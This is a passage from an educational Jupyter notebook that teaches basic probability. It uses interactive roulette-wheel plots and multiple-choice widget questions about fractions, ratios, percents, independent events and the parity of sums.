fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==3:\n                ax.text(0, -8, \"3\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==4:\n                ax.text(-8, 0, \"4\", fontsize=20,transform=ax.transData._b,color='red')\n            \n            ax1.text(0.1,0.74,\"Probability of each event\",fontsize=25)\n            ax1.text(0.1,0.6,\"P(1) = 1/4 = 1:4 = 25%\\n\\nP(2) = 1/4 = 1:4 =25%\\n\\nP(3) = 1/4 = 1:4 =25%\\n\\nP(4) = 1/4 = 1:4 =25%\",fontsize=20)\n            #ax1.text(0.1,0.5,\"This is equivalent to 50%.\",fontsize=20)\n            ax1.text(0.1,0.54,\"Probability Outcome\",fontsize=25)\n            ax1.text(0.1,0.52,\"The result after spinning is \" + str(lucky_number_one),fontsize=20)\n\n\n        elif number_parititions == 1:\n            radii_ar = [1.0 for i in range(number_parititions)]\n            width_ar = [4 for i in range(number_parititions)]\n    \n            radii = 10 * np.array(radii_ar)\n            width = np.pi/4  * np.array(width_ar)\n    \n            bars = ax.bar(theta, radii, width=width, bottom=0.0)\n            for r, bar in zip(radii, bars):\n                bar.set_facecolor(\"pink\")\n                bar.set_alpha(0.6)\n            ax.text(8, 0, \"1\", fontsize=20,transform=ax.transData._b)\n            ax.text(-8, 0, \"2\", fontsize=20,transform=ax.transData._b)\n            \n            if lucky_number_one==1:\n                ax.text(8, 0, \"1\", fontsize=20,transform=ax.transData._b,color='red')\n            elif lucky_number_one==2:\n                ax.text(-8, 0, \"2\", fontsize=20,transform=ax.transData._b,color='red')\n            \n            ax1.text(0.1,0.7,\"Probability of each event\",fontsize=25)\n            ax1.text(0.1,0.6,\"P(1) = 1/2 = 1:2 = 50%\\n\\nP(2) = 1/2 = 1:2 =50%\",fontsize=20)\n            ax1.text(0.1,0.54,\"Probability Outcome\",fontsize=25)\n            ax1.text(0.1,0.52,\"The result after spinning is \" + str(lucky_number_one),fontsize=20)\n\n        ax.tick_params(labelbottom=False, labeltop=False,\n                   labelleft=False, labelright=False)\n\n        ax.grid(False)\n        ax.set_yticks(np.arange(1, 9, 2))\n        ax1.set_yticks([])\n        ax1.set_xticks([])\n    \n        ax1.set_title(\"Probabilities as fractions, ratios and percents\",fontsize=30)\n        plt.show()\n    \nstyle = {'description_width': 'initial'}    \nlucky = interact(roulette,number_parititions = widgets.Dropdown(\n    options={'Two': 1, 'Four': 2, 'Six': 3,'Eight':4},\n    value=4,\n    description='Size of sample space:',\n    style=style\n),\n    value = widgets.ToggleButton(\n        value=True,\n        description='Click to Play!',\n        disabled=False,\n        button_style='danger', # 'success', 'info', 'warning', 'danger' or ''\n        tooltip='Description',\n        icon='check'\n    ))\n\n\n### Question 1\n\nUsing fractions, what is the probability of the event 1, denoted $P(1)$, if the sample size of the roulette is 4?\n\nfrom ipywidgets import interact_manual,widgets\n\n\ns = {'description_width': 'initial'}        \n@interact(answer =widgets.Select(\n                    options=[\"Select option\",\"1/2\",\\\n                            \"4\",\"1/3\",\\\n                             \"1/4\"],\n                    value='Select option',\n                    description=\"Probability as fraction\",\n                    disabled=False,\n                    style=s\n))\n\ndef reflective_angle_question(answer):\n    if answer==\"Select option\":\n        print(\"Click on the correct probability expressed as a fraction.\")\n    \n    elif answer==\"1/4\":\n        print(\"Correct!\\nWith a sample space of size 4, each with equal likelihood, P(1)=1/4.\")\n    elif answer != \"1/4\" or answer != \"Select Option\":\n        print(\"Hint: What is P(1) if P(i) = 1/4 for all i = 1,2,3,4?\")\n\n### Question 2\n\nWhat is P(1) if the size of the sample space is 4, but this time expressed as percent?\n\nfrom ipywidgets import interact_manual,widgets\n\n\ns = {'description_width': 'initial'}        \n@interact(answer =widgets.Select(\n                    options=[\"Select option\",\"25%\",\\\n                            \"100%\",\"40%\",\\\n                             \"10%\"],\n                    value='Select option',\n                    description=\"Probability as percent\",\n                    disabled=False,\n                    style=s\n))\n\ndef reflective_angle_question(answer):\n    if answer==\"Select option\":\n        print(\"Click on the correct probability expressed in percent.\")\n    \n    elif answer==\"25%\":\n        print(\"Correct!\\nWith four probability events, each with equal likelihood, P(1) = 25%.\")\n    elif answer != \"25%\" or answer != \"Select Option\":\n        print(\"Hint: The total number of outcomes is 4, which corresponds to 100%. What is 100/4?\")\n\n### Question 3\n\nUsing the widget created above, change the Size of sample space to 8. What is $P(7)$ as a ratio? \n\nfrom ipywidgets import interact_manual,widgets\n\n\ns = {'description_width': 'initial'}        \n@interact(answer =widgets.Select(\n                    options=[\"Select option\",\"1:6\",\\\n                            \"1:4\",\"1:8\",\\\n                             \"1:7\"],\n                    value='Select option',\n                    description=\"Probability as ratio\",\n                    disabled=False,\n                    style=s\n))\n\ndef reflective_angle_question(answer):\n    if answer==\"Select option\":\n        print(\"Click on the correct probability expressed as a percentage.\")\n    \n    elif answer==\"1:8\":\n        print(\"Correct!\\nWith eight probability events, each with equal likelihood, \\nP(7) =  1:8.\")\n    elif answer != \"1:8\" or answer != \"Select Option\":\n        print(\"Hint: 1 in every 8 corresponds to the event 7. What is P(7) in ratio?\")\n\n<h2 align='center'>Independent Events & Sample Space</h2>\n<!-- Specific Outcome 5 Identify the sample space (where the combined sample space has 36 or fewer elements) for a probability experiment involving two independent events.-->\n\nIn this section, we define the concept of **independent probability experiments** as well as the corresponding sample space, and provide a game where we can experiment with the two concepts. \n\n<div class=\"alert alert-warning\">\n<font color=\"black\"><b>Definition.</b> We say that two probability experiments are <i>independent</i> if the outcome of one does not affect the outcome of the other. </font>\n</div>\n\nFor example, if we spin two roulettes at the same time, then the two experiments are independent since the outcome of each does not affect the other.\n\nTry spinning the two roulettes below via using the red button. As before, in each the number in red denotes the outcome of the experiment. These two roulettes are not linked and as you can see from a few spins, their outcomes are not related at all: spinning them are independent experiments.\n\ndef spin(value):\n    if value==True or value==False:\n        \n        lucky_number_one = random.choice([1,2,3,4,5,6])\n        \n        lucky_number_one_c = random.choice([1,2,3,4,5,6])\n        \n        x_t,y_t = [i/10 for i in range(10)],[i/10 for i in range(10)]\n\n        axalpha = 0.05\n        figcolor = 'white'\n        dpi = 80\n        \n        gs = gridspec.GridSpec(2, 3)\n        fig = plt.figure(figsize=(15,8), dpi=dpi,facecolor='black')      \n\n        fig.patch.set_edgecolor(figcolor)\n        fig.patch.set_facecolor(figcolor)\n        \n        ax1 = plt.subplot(gs[0, 0]) \n        ax1.grid(False)\n        ax1.axis(\"Off\")\n        ax2 = plt.subplot(gs[1, 0]) \n        ax2.grid(False)\n        ax2.axis(\"Off\")\n        ax5 = plt.subplot(gs[0, 2]) \n        ax5.grid(False)\n        ax5.axis(\"Off\")\n        ax6 = plt.subplot(gs[1, 2]) \n        ax6.grid(False)\n        ax6.axis(\"Off\")\n        #ax.axis(\"Off\")\n        \n        ax = plt.subplot(gs[0,0],projection='polar',facecolor=\"red\") # row 0, col 0\n        plt.plot([0,1])\n    \n        ax.plot(x_t,y_t,transform=ax.transData._b,color=\"#FEE9FF\",linewidth=5)\n            \n        ax.patch.set_alpha(axalpha)\n        ax.set_axisbelow(True)\n    \n        number_parititions = 3\n        arc = 2. * np.pi\n        N = number_parititions\n        theta = np.arange(0.0, arc, arc/N)\n    \n        radii_ar = [1.0 for i in range(number_parititions)]\n        width_ar = [1.3 for i in range(number_parititions)]\n    \n        radii = 10 * np.array(radii_ar)\n        width = np.pi/4  * np.array(width_ar)\n    \n        bars = ax.bar(theta, radii, width=width, bottom=0.0)\n        for r, bar in zip(radii, bars):\n            bar.set_facecolor(\"pink\")\n            bar.set_alpha(0.6)\n        ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b)\n        ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b)\n        ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b)\n        ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b)\n        ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b)\n        ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b)\n        \n        if lucky_number_one==1:\n            #bar3.set_facecolor(\"#000000\")\n            ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b,color='red')\n        elif lucky_number_one==2:\n            #bar2.set_facecolor(\"#000000\")\n            ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==3:\n            #bar1.set_facecolor(\"#000000\")\n            ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==4:\n            #bar6.set_facecolor(\"#000000\")\n            ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==5:\n            #bar5.set_facecolor(\"#000000\")\n            ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==6:\n            #bar4.set_facecolor(\"#000000\")\n            ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b,color='red')\n        \n        ax.tick_params(labelbottom=False, labeltop=False,\n                   labelleft=False, labelright=False)\n\n        ax.grid(False)\n        ax.axis(\"On\")\n        ax.set_title(\"Top Roulette\",fontsize=20)\n        \n        ax4 = plt.subplot(gs[1, 0],projection='polar',facecolor=\"red\") # row 0, col 0\n        plt.plot([0,1])\n\n        ax4.plot(x_t,y_t,transform=ax4.transData._b,color=\"#FEE9FF\",linewidth=5)\n        ax4.patch.set_alpha(axalpha)\n        ax4.set_axisbelow(True)\n    \n        bars = ax4.bar(theta, radii, width=width, bottom=0.0)\n        for r, bar in zip(radii, bars):\n            bar.set_facecolor(\"pink\")\n            bar.set_alpha(0.6)\n        ax4.text(-4, 7, \"1\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(3, 6.5, \"2\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(7, 0, \"3\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(3, -6.5, \"4\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(-4, -7, \"5\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(-8, 0, \"6\", fontsize=20,transform=ax4.transData._b)\n        \n        if lucky_number_one_c==1:\n            #bar3.set_facecolor(\"#000000\")\n            ax4.text(-4, 7, \"1\", fontsize=20,transform=ax4.transData._b,color='red')\n        elif lucky_number_one_c==2:\n            #bar2.set_facecolor(\"#000000\")\n            ax4.text(3, 6.5, \"2\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==3:\n            #bar1.set_facecolor(\"#000000\")\n            ax4.text(7, 0, \"3\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==4:\n            #bar6.set_facecolor(\"#000000\")\n            ax4.text(3, -6.5, \"4\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==5:\n            #bar5.set_facecolor(\"#000000\")\n            ax4.text(-4, -7, \"5\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==6:\n            #bar4.set_facecolor(\"#000000\")\n            ax4.text(-8, 0, \"6\", fontsize=20,transform=ax4.transData._b,color='red')\n        \n        ax4.tick_params(labelbottom=False, labeltop=False,\n                   labelleft=False, labelright=False)\n\n        ax4.grid(False)\n        ax4.axis(\"On\")\n        ax4.set_title(\"Bottom Roulette\",fontsize=20)\n        \n        x,y = np.array([i/10 for i in range(11)]),np.array([i/10 for i in range(11)])\n        \n        ax2 = plt.subplot(gs[0,1:]) # row 0, col 0\n        plt.plot([0,1])\n        \n        ax2.grid(False)\n        ax2.axis(\"Off\")\n        #ax2.set_title(\"Top Roulette Outcome\",fontsize=20)\n        ax2.plot(x,y,color='white',linewidth=4)\n        ax2.text(0.1,0.5,\"Top Roulette Outcome: \" +str(lucky_number_one),fontsize=20)\n        \n        ax5 = plt.subplot(gs[1,1:]) # row 0, col 0\n        plt.plot([0,1])\n        \n        ax5.grid(False)\n        ax5.axis(\"Off\")\n        #ax5.set_title(\"Bottom Roulette Outcome\",fontsize=20)\n        ax5.plot(x,y,color='white',linewidth=4)\n        ax5.text(0.1,0.5,\"Bottom Roulette Outcome: \" + str(lucky_number_one_c),fontsize=20)\n        \nlucky = interact(spin,value = widgets.ToggleButton(\n        value=True,\n        description=\"Spin\",\n        disabled=False,\n        button_style='danger', # 'success', 'info', 'warning', 'danger' or ''\n        tooltip='Description',\n        icon='check'\n    ))\n\nRecall that \n\n<div class=\"alert alert-warning\">\n    <font color=\"black\"><b>Definition.</b> The <i>sample space</i> of an experiment is the set of all possible outcomes of that experiment.</font>\n</div>\n\nIf, for example, we take the two roulettes above, we can define the sample space of spinning both of then at the same time as the set of all ordered pairs $(n_t,n_b)$, where $n_t$ denotes the outcome of spinning the top roulette and $n_b$ denotes the outcome of spinning the bottom roulette. This sample space is given by the table below, which is a 6 by 6 table where each entry is a pair $(n_t,n_b)$.\n\ndef spin_sample_space(value):\n    if value==True or value==False:\n        \n        lucky_number_one = random.choice([1,2,3,4,5,6])\n        \n        lucky_number_one_c = random.choice([1,2,3,4,5,6])\n        \n        x_t,y_t = [i/10 for i in range(10)],[i/10 for i in range(10)]\n    \n        axalpha = 0.05\n        figcolor = 'white'\n        dpi = 80\n        \n        gs = gridspec.GridSpec(2, 2)\n        fig = plt.figure(figsize=(15,8), dpi=dpi,facecolor='black')      \n\n        fig.patch.set_edgecolor(figcolor)\n        fig.patch.set_facecolor(figcolor)\n        ax = plt.subplot(gs[0, 0],projection='polar',facecolor=\"red\") \n        plt.plot([0,1])\n\n        ax.patch.set_alpha(axalpha)\n        ax.set_axisbelow(True)\n        \n        ax.plot(x_t,y_t,transform=ax.transData._b,color=\"#FEE9FF\",linewidth=5)\n    \n        number_parititions = 3\n        arc = 2. * np.pi\n        N = number_parititions\n        theta = np.arange(0.0, arc, arc/N)\n    \n        radii_ar = [1.0 for i in range(number_parititions)]\n        width_ar = [1.3 for i in range(number_parititions)]\n    \n        radii = 10 * np.array(radii_ar)\n        width = np.pi/4  * np.array(width_ar)\n    \n        bars = ax.bar(theta, radii, width=width, bottom=0.0)\n        for r, bar in zip(radii, bars):\n            bar.set_facecolor(\"pink\")\n            bar.set_alpha(0.6)\n        ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b)\n        ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b)\n        ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b)\n        ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b)\n        ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b)\n        ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b)\n        \n        if lucky_number_one==1:\n            #bar3.set_facecolor(\"#000000\")\n            ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b,color='red')\n        elif lucky_number_one==2:\n            #bar2.set_facecolor(\"#000000\")\n            ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==3:\n            #bar1.set_facecolor(\"#000000\")\n            ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==4:\n            #bar6.set_facecolor(\"#000000\")\n            ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==5:\n            #bar5.set_facecolor(\"#000000\")\n            ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==6:\n            #bar4.set_facecolor(\"#000000\")\n            ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b,color='red')\n        \n        ax.tick_params(labelbottom=False, labeltop=False,\n                   labelleft=False, labelright=False)\n\n        ax.grid(False)\n        ax.axis(\"On\")\n        ax.set_title(\"Top Roulette\",fontsize=20)\n        \n        ax4 = plt.subplot(gs[1, 0],projection='polar',facecolor=\"red\") # row 0, col 0\n        plt.plot([0,1])\n\n        ax4.patch.set_alpha(axalpha)\n        ax4.set_axisbelow(True)\n        \n        ax4.plot(x_t,y_t,transform=ax4.transData._b,color=\"#FEE9FF\",linewidth=5)\n        bars = ax4.bar(theta, radii, width=width, bottom=0.0)\n        for r, bar in zip(radii, bars):\n            bar.set_facecolor(\"pink\")\n            bar.set_alpha(0.6)\n        ax4.text(-4, 7, \"1\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(3, 6.5, \"2\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(7, 0, \"3\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(3, -6.5, \"4\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(-4, -7, \"5\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(-8, 0, \"6\", fontsize=20,transform=ax4.transData._b)\n        \n        if lucky_number_one_c==1:\n            #bar3.set_facecolor(\"#000000\")\n            ax4.text(-4, 7, \"1\", fontsize=20,transform=ax4.transData._b,color='red')\n        elif lucky_number_one_c==2:\n            #bar2.set_facecolor(\"#000000\")\n            ax4.text(3, 6.5, \"2\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==3:\n            #bar1.set_facecolor(\"#000000\")\n            ax4.text(7, 0, \"3\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==4:\n            #bar6.set_facecolor(\"#000000\")\n            ax4.text(3, -6.5, \"4\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==5:\n            #bar5.set_facecolor(\"#000000\")\n            ax4.text(-4, -7, \"5\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==6:\n            #bar4.set_facecolor(\"#000000\")\n            ax4.text(-8, 0, \"6\", fontsize=20,transform=ax4.transData._b,color='red')\n        \n        ax4.tick_params(labelbottom=False, labeltop=False,\n                   labelleft=False, labelright=False)\n\n        ax4.grid(False)\n        ax4.axis(\"On\")\n        ax4.set_title(\"Bottom Roulette\",fontsize=20)\n        \n        ax1 = plt.subplot(gs[:, 1:],facecolor='#0475A8') # row 1, span all columns\n        plt.plot([0,1])\n        ax1.set_axisbelow(True)\n        ax1.grid(color='black', linestyle='-', linewidth=2)\n        \n        ax1.set_xlim(0.1,0.7)\n        ax1.set_ylim(0.1,0.7)\n\n        rec = Rectangle([lucky_number_one/10,lucky_number_one_c/10],0.1,0.1,facecolor=\"black\")\n        ax1.add_patch(rec)\n        x,y = [lucky_number_one/10,lucky_number_one/10+ 0.1], [lucky_number_one_c/10,lucky_number_one_c/10 + 0.1]\n        ax1.plot(x,y,color='black',linewidth=4)\n        for i in range(1,7):\n            for j in range(1,7):\n                ax1.text(i/10 + 0.02,j/10 + 0.055,\"(\" + str(i)+\",\"+ str(j)+\")\",fontsize = 15,color='white') \n        ax1.set_xticklabels([\" \",1,2,3,4,5,6])\n        ax1.set_yticklabels([\" \",1,2,3,4,5,6])\n        ax1.set_xlabel(\"Top Roulette Outcome\",fontsize = 20)\n        ax1.set_ylabel(\"Bottom Roulette Outcome\",fontsize = 20)\n        ax1.xaxis.tick_top()\n        ax1.invert_yaxis()\n\n        plt.show()\n        \nlucky = interact(spin_sample_space,value = widgets.ToggleButton(\n        value=True,\n        description=\"Spin\",\n        disabled=False,\n        button_style='danger', # 'success', 'info', 'warning', 'danger' or ''\n        tooltip='Description',\n        icon='check'\n    ))\n\nIn this case, since the events are independent and each event has six possible outcomes, the sample space contains\n\n$$6 \\times 6 = 36$$\n\npossible outcomes, where each outcome is a pair of the form $(n_t,n_b)$. \n\nThe probability of obtaining any given pair $(n_t,n_b)$, is given by the probability of obtaining $n_t$ with the top roulette (first experiment) multiplied by the probability of obtaining $n_b$ with the bottom roulette (second experiment). If we assume that each event is equally likely to occur\n\n$$P(n_t,n_b) = \\dfrac{1}{6} \\times \\dfrac{1}{6} = \\dfrac{1}{36}$$\n\nNote that we can multiply \n* the sizes of the two sample spaces (for each roulette) to obtain the sample space size of the combined experiments\n* the probabilities of obtaining $n_t$ and $n_b$ to obtain the probability of the event $(n_t,n_b)$\n**because** the two experiments are **independent**. This is an important property of joint probability experiments.\n\n<div class=\"alert alert-warning\">\n<font color=\"black\"><b>Property.</b> Consider two independent probability experiments $E_1$ and $E_2$ of respective sample space sizes $N_1$ and $N_2$. The size of the sample space of the joint experiment $(E_1,E_2)$ is $N_1\\times N_2$. The probability of the event $(n_1,n_2)$ is $P(n_1)\\times P(n_2)$.</font>\n</div>\n\n## Question 4\n\nWhat is the probability assigned to the event (1,1)?\n\nfrom ipywidgets import interact_manual,widgets\n\ns = {'description_width': 'initial'}        \n@interact(answer =widgets.Select(\n                    options=[\"Select option\",\"2/36\",\\\n                            \"1/6\",\"36\",\\\n                             \"1/36\"],\n                    value='Select option',\n                    description=\"Probability as fraction\",\n                    disabled=False,\n                    style=s\n))\n\ndef reflective_angle_question(answer):\n    if answer==\"Select option\":\n        print(\"Click on the correct probability expressed as a fraction.\")\n    \n    elif answer==\"1/36\":\n        print(\"Correct!\")\n    elif answer != \"1/36\" or answer != \"Select Option\":\n        print(\"Hint: There are 36 events, each with equal likelihood of occurrence. \\nYou also know that each pair is unique.\")\n\n<h3 align='left'>A second example of a sample space</h3>\n\nLet's take the two roulettes as before but this time let's define the sample space of spinning both of them at the same time as the as the **parity** of the sum $$n_t + n_b$$ where as before $n_t$ denotes the outcome of the Top Roulette and $n_b$ denotes the outcome of the Bottom Roulette.\n\nThen the sample space is given by the set $\\lbrace \\text{even},\\text{odd} \\rbrace$\n\nThis sample space is given by the table below, which is a 6 by 6 table where each entry is a pair contains the **parity** of the sum $$n_t + n_b$$\n\ndef fair(value):\n    if value==True or value==False:\n        \n        lucky_number_one = random.choice([1,2,3,4,5,6])\n        lucky_number_one_c = random.choice([1,2,3,4,5,6])\n        \n        x_t,y_t = [i/10 for i in range(10)],[i/10 for i in range(10)]\n\n        axalpha = 0.05\n        figcolor = 'white'\n        dpi = 80\n        \n        gs = gridspec.GridSpec(2, 2)\n        fig = plt.figure(figsize=(15,8), dpi=dpi,facecolor='black')      \n\n        fig.patch.set_edgecolor(figcolor)\n        fig.patch.set_facecolor(figcolor)\n        ax = plt.subplot(gs[0, 0],projection='polar',facecolor=\"red\") # row 0, col 0\n        plt.plot([0,1])\n\n        ax.patch.set_alpha(axalpha)\n        ax.set_axisbelow(True)\n        ax.plot(x_t,y_t,transform=ax.transData._b,color=\"#FEE9FF\",linewidth=5)\n        number_parititions = 3\n        arc = 2. * np.pi\n        N = number_parititions\n        theta = np.arange(0.0, arc, arc/N)\n    \n        radii_ar = [1.0 for i in range(number_parititions)]\n        width_ar = [1.3 for i in range(number_parititions)]\n    \n        radii = 10 * np.array(radii_ar)\n        width = np.pi/4  * np.array(width_ar)\n    \n        bars = ax.bar(theta, radii, width=width, bottom=0.0)\n        for r, bar in zip(radii, bars):\n            bar.set_facecolor(\"pink\")\n            bar.set_alpha(0.6)\n        ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b)\n        ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b)\n        ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b)\n        ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b)\n        ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b)\n        ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b)\n        \n        if lucky_number_one==1:\n            #bar3.set_facecolor(\"#000000\")\n            ax.text(-4, 7, \"1\", fontsize=20,transform=ax.transData._b,color='red')\n        elif lucky_number_one==2:\n            #bar2.set_facecolor(\"#000000\")\n            ax.text(3, 6.5, \"2\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==3:\n            #bar1.set_facecolor(\"#000000\")\n            ax.text(7, 0, \"3\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==4:\n            #bar6.set_facecolor(\"#000000\")\n            ax.text(3, -6.5, \"4\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==5:\n            #bar5.set_facecolor(\"#000000\")\n            ax.text(-4, -7, \"5\", fontsize=20,transform=ax.transData._b,color='red')\n            \n        elif lucky_number_one==6:\n            #bar4.set_facecolor(\"#000000\")\n            ax.text(-8, 0, \"6\", fontsize=20,transform=ax.transData._b,color='red')\n        \n        ax.tick_params(labelbottom=False, labeltop=False,\n                   labelleft=False, labelright=False)\n\n        ax.grid(False)\n        ax.axis(\"On\")\n        ax.set_title(\"Top Roulette\",fontsize=20)\n        \n        ax1 = plt.subplot(gs[:, 1:],facecolor='#0475A8') # row 1, span all columns\n        plt.plot([0,1])\n        ax1.set_axisbelow(True)\n        ax1.grid(color='black', linestyle='-', linewidth=2)\n\n        ax1.set_xlim(0.1,0.7)\n        ax1.set_ylim(0.1,0.7)\n        ax1.set_xlabel(\"Top Roulette Outcome\",fontsize=18)\n        ax1.set_ylabel(\"Bottom Roulette Outcome\",fontsize=18)\n        ax1.xaxis.tick_top()\n        ax1.invert_yaxis()\n        #\n        for i in range(1,7):\n            for j in range(1,7):\n                if (i+j)%2==0:\n                    ax1.text(i/10 + 0.02,j/10 + 0.055,\"even\" ,fontsize = 15,color='white') \n                else:\n                    ax1.text(i/10 + 0.02,j/10 + 0.055,\"odd\" ,fontsize = 15,color='white') \n        \n        rec = Rectangle([lucky_number_one/10,lucky_number_one_c/10],0.1,0.1,facecolor=\"black\")\n        x,y = [lucky_number_one/10,lucky_number_one/10+ 0.1], [lucky_number_one_c/10,lucky_number_one_c/10 + 0.1]\n        ax1.plot(x,y,color='black',linewidth=4)\n        #rec_c = Rectangle([lucky_number_one_c/10,lucky_number_two_c/10],0.1,0.1,facecolor=\"#6b6e72\")\n        ax1.add_patch(rec)\n        #ax1.add_patch(rec_c)\n        ax1.set_xticklabels([\" \",1,2,3,4,5,6])\n        ax1.set_yticklabels([\" \",1,2,3,4,5,6])\n        \n        ax4 = plt.subplot(gs[1, 0],projection='polar',facecolor=\"red\") # row 0, col 0\n        plt.plot([0,1])\n\n        ax4.patch.set_alpha(axalpha)\n        ax4.set_axisbelow(True)\n        \n        ax4.plot(x_t,y_t,transform=ax4.transData._b,color=\"#FEE9FF\",linewidth=5)\n        \n        bars = ax4.bar(theta, radii, width=width, bottom=0.0)\n        for r, bar in zip(radii, bars):\n            bar.set_facecolor(\"pink\")\n            bar.set_alpha(0.6)\n        ax4.text(-4, 7, \"1\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(3, 6.5, \"2\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(7, 0, \"3\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(3, -6.5, \"4\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(-4, -7, \"5\", fontsize=20,transform=ax4.transData._b)\n        ax4.text(-8, 0, \"6\", fontsize=20,transform=ax4.transData._b)\n        \n        if lucky_number_one_c==1:\n            #bar3.set_facecolor(\"#000000\")\n            ax4.text(-4, 7, \"1\", fontsize=20,transform=ax4.transData._b,color='red')\n        elif lucky_number_one_c==2:\n            #bar2.set_facecolor(\"#000000\")\n            ax4.text(3, 6.5, \"2\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==3:\n            #bar1.set_facecolor(\"#000000\")\n            ax4.text(7, 0, \"3\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==4:\n            #bar6.set_facecolor(\"#000000\")\n            ax4.text(3, -6.5, \"4\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==5:\n            #bar5.set_facecolor(\"#000000\")\n            ax4.text(-4, -7, \"5\", fontsize=20,transform=ax4.transData._b,color='red')\n            \n        elif lucky_number_one_c==6:\n            #bar4.set_facecolor(\"#000000\")\n            ax4.text(-8, 0, \"6\", fontsize=20,transform=ax4.transData._b,color='red')\n        \n        ax4.tick_params(labelbottom=False, labeltop=False,\n                   labelleft=False, labelright=False)\n\n        ax4.grid(False)\n        ax4.axis(\"On\")\n        ax4.set_title(\"Bottom Roulette\",fontsize=20)\n\n        sum_n = lucky_number_one + lucky_number_one_c\n        \n        #print(\"Top Roulette Outcome + Bottom Roulette Outcome\")\n        print(str(lucky_number_one) + \" + \" + str(lucky_number_one_c) + \" = \" + str(sum_n))\n        if sum_n %2==0:\n            print(\"OUTCOME: even\" )\n        else:\n            print(\"OUTCOME: odd\" )\n\n        plt.show()\n\nlucky = interact(fair,value = widgets.ToggleButton(\n        value=True,\n        description=\"Let's Play\",\n        disabled=False,\n        button_style='danger', # 'success', 'info', 'warning', 'danger' or ''\n        tooltip='Description',\n        icon='check'\n    ))\n\n### Question 5\n\nWe claim that this game is fair, but how can we verify it? \n\nRecall that a probability experiment is fair if every outcome is equally likely to occur. In order for this experiment to be fair, the probability of the event **even**  *must* be equal to the probability of event **odd**. \n\nWhat is the probability that the sum of the numbers in the top and bottom roulettes is even?\n\nfrom ipywidgets import interact_manual,widgets\n\ns = {'description_width': 'initial'}        \n@interact(answer =widgets.Select(\n                    options=[\"Select option\",\"1/2\",\\\n                            \"4/36\",\"1/3\",\\\n                             \"18/36\"],\n                    value='Select option',\n                    description=\"Probability sum is even\",\n                    disabled=False,\n                    style=s\n))\n\ndef fair_game(answer):\n    if answer==\"Select option\":\n        print(\"Click on the correct probability expressed as a fraction.\")\n    \n    elif answer==\"1/2\" or answer==\"18/36\":\n        print(\"Correct!\\nThere are a total of 36 possible outcomes. 18 out of 36 are even numbers.\\nThus the probability P(even) = 18/36 or 1/2. \")\n    elif answer != \"1/2\" or answer != \"Select Option\" or answer!=\"18/36\":\n        print(\"Hint: There are 36 entries in our sample space, each with equal likelihood of occurrence.\\nHow many of the 36 correspond to even numbers\")\n\n### Question 6\nWhat is the probability that the sum of the numbers in the top and bottom roulettes is odd? In other words, what is the 